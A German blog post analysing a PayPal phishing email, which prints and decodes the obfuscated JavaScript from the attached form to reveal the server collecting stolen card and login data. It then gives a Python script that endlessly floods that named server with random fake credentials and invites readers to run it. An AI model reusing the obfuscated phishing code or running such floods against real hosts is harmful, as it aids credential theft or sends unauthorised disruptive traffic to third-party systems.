Paypal Phishing Analyse

Vor 5 Tagen erhielt ich eine sehr interessante Email. Darin wurde ich von Paypal aufgefordert meine Daten aus Sicherheitsgründen bei einem Zahlungsausfall erneut zu hinterlegen.
Abgesehen davon, dass es bei einem Zahlungsausfall keinerlei Unterschied macht, ob Paypal meine Daten einmal, oder zweimal hat, wirkte die Email vom Layout her auch nicht besonders vertrauenswürdig.
mail.png
Die Verfasser der Email wiesen mich auch nett darauf hin, dass ich meine Daten mithilfe des beigefügten Formulars angeben kann. Dieses beigefügte Formular war eine HTML Datei, welche im Browser, im Gegensatz zu der Email, zumindest etwas nach Paypal aussah.

form.png
Natürlich wurde man, wie es für Paypal üblich ist, aufgefordert seine Kreditkartennummer mit allem, was man so braucht anzugeben. ;)
Ein kleiner Blick in die Source der HTML Form erstaunte mich sehr. Es schien so, als wenn dort jemand wirklich versucht hat seinen Server, auf dem das ganze läuft zu verbergen. Das einzig interessante in der ganzen Source war eigentlich nur dieser Javascript Abschnitt

eval(unescape('%66%75%6e%63%74%69%6f%6e%20%6f%39%34%64%63%63%36%65%34%33%63%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%32%31%36%35%39%31%37%38%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%35%33%32%30%37%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%2d%31%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%6f%39%34%64%63%63%36%65%34%33%63%28%27') + '%39%62%79%72%6f%29%6a%67%6d%64%3e%24%75%66%62%2a%20%63%6c%70%6f%73%6d%3e%24%6f%71%70%78%3a%31%38%7d%7d%7b%2d%62%73%60%66%36%3c%2e%64%6e%35%71%2c%73%69%76%25%25%6b%6f%74%68%78%60%3b%20%73%70%73%73%27%24%79%6e%75%7e%66%6b%69%77%3e%24%75%62%70%7f%72%6e%29%72%67%6e%68%65%65%73%62%2c%7c%68%6b%7c%2f%26%3c%3f%6a%68%77%72%70%28%74%7b%79%63%3b%20%6b%6a%62%63%62%6a%2a%20%6e%6a%6b%63%3d%21%73%61%63%6e%76%2a%20%76%6a%68%73%65%3c%23%6e%73%71%74%7d%3a%31%38%7d%7d%7b%2d%71%65%7c%75%67%64%2e%65%78%6b%35%20%23%30%3821659178%34%35%39%31%31%38%35' + unescape('%27%29%29%3b'));

Hier wollte wohl jemand auf hohem Niveau etwas vor mir verbergen. Also dachte ich mir, dass ich erstmal in dem ersten Teil den eval Befehl wegnehme und mir das Ergebnis durch einfügen eines document.write() anzeigen zu lassen. Was da raus kam brachte mich etwas zum lachen.

function o94dcc6e43c(s) {
	var r = "";
	var tmp = s.split("21659178");
	s = unescape(tmp[0]);
	k = unescape(tmp[1] + "532076");
	for( var i = 0; i < s.length; i++) {
		r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-1);
	}
	return r;
} 

Es war eine sehr schlecht geschriebene Funktion, die einen String, den sie übergeben bekommt mit dem Schlüssel „21659178” aufsplittet und danach einfach beide Teile von deren Integerwerten in ihre Character Repräsentanten parsed.
Also dachte ich mir schon, dass die zweite eval Anweisung wahrscheinlich diese Funktion aufrufen wird und dann den String, der in der Mitte nich unescaped wurde als Übergabewert mitbekommt.
Also schaute ich, was der erste Teil unescaped war

document.write(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%6f%39%34%64%63%63%36%65%34%33%63%28%27'));
→
document.write(o94dcc6e43c(

Wie erwartet wurde die Funktion aufgerufen. Nun musste ich nur noch schauen, was die Funktion mit dem String in der HTML Datei zurück gibt. Da ich mir ziemlich sicher war, dass es sich bei dem Rückgabewert um HTML Code handeln wird, habe ich mich kurze Hand dafür entschieden alle < und > zu escapen, indem ich sie durch &lt; und &gt; ersetzen lies.

document.write(o94dcc6e43c('%39%62%79%72%6f%29%6a%67%6d%64%3e%24%75%66%62%2a%20%63%6c%70%6f%73%6d%3e%24%6f%71%70%78%3a%31%38%7d%7d%7b%2d%62%73%60%66%36%3c%2e%64%6e%35%71%2c%73%69%76%25%25%6b%6f%74%68%78%60%3b%20%73%70%73%73%27%24%79%6e%75%7e%66%6b%69%77%3e%24%75%62%70%7f%72%6e%29%72%67%6e%68%65%65%73%62%2c%7c%68%6b%7c%2f%26%3c%3f%6a%68%77%72%70%28%74%7b%79%63%3b%20%6b%6a%62%63%62%6a%2a%20%6e%6a%6b%63%3d%21%73%61%63%6e%76%2a%20%76%6a%68%73%65%3c%23%6e%73%71%74%7d%3a%31%38%7d%7d%7b%2d%71%65%7c%75%67%64%2e%65%78%6b%35%20%23%30%3821659178%34%35%39%31%31%38%35' ).replace(/</g,"&lt;").replace(/>/g,"&gt;"));

Wie erwartet bekam ich nun die Adresse des Servers zurück, an den die Daten gesendet werden

<form name="raf" action="http://www.asea24.de/s.php" method="post" onsubmit="return validate(this)"><input type="hidden" name="redir" value="https://www.paypal.com/" />

Nachdem ich mich auf asea24.de etwas umsah und keine offensichtlichen Lücken fand, entschied ich mich dafür einfach quick and dirty ein Python Script zu schreiben, welches einfach Random Daten an den Server schickt und damit die Logs zu müllt.

from urllib import *
import string
import random

def rand_str():
	return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(6))

def rand_int(size=2):
	return ''.join(random.choice(string.digits) for x in range(size))

i = 1

while True:
	param = urlencode(
		{
			"user" : rand_str(),
			"pass" : rand_str(),
			"fullname" : rand_str(),
			"mm" : rand_int(),
			"dd" : rand_int(),
			"yyyy" : rand_int(4),
			"address" : rand_str() + " " + rand_int(),
			"city" : rand_str(),
			"state" : rand_str(),
			"postcode" : rand_int(6),
			"phone" : rand_int(8),
			"cc" : rand_int(16),
			"expm" : rand_int(),
			"expy" : rand_int(4),
			"cvv" : rand_int(4),
			"cnr" : rand_int(15),
			"blz" : rand_int(15),
			"bn" : rand_str(),
 		}
	)
	url = urlopen("http://www.asea24.de/s.php",param)

	print i
	i = i+1

Dieses habe ich dann für 10.000 Einträge laufen lassen.
Die Tage werde ich noch bei Strato anrufen und den Server abusen.

Jeder ist herzlich eingeladen das Script auch noch etwas bei sich laufen zu lassen.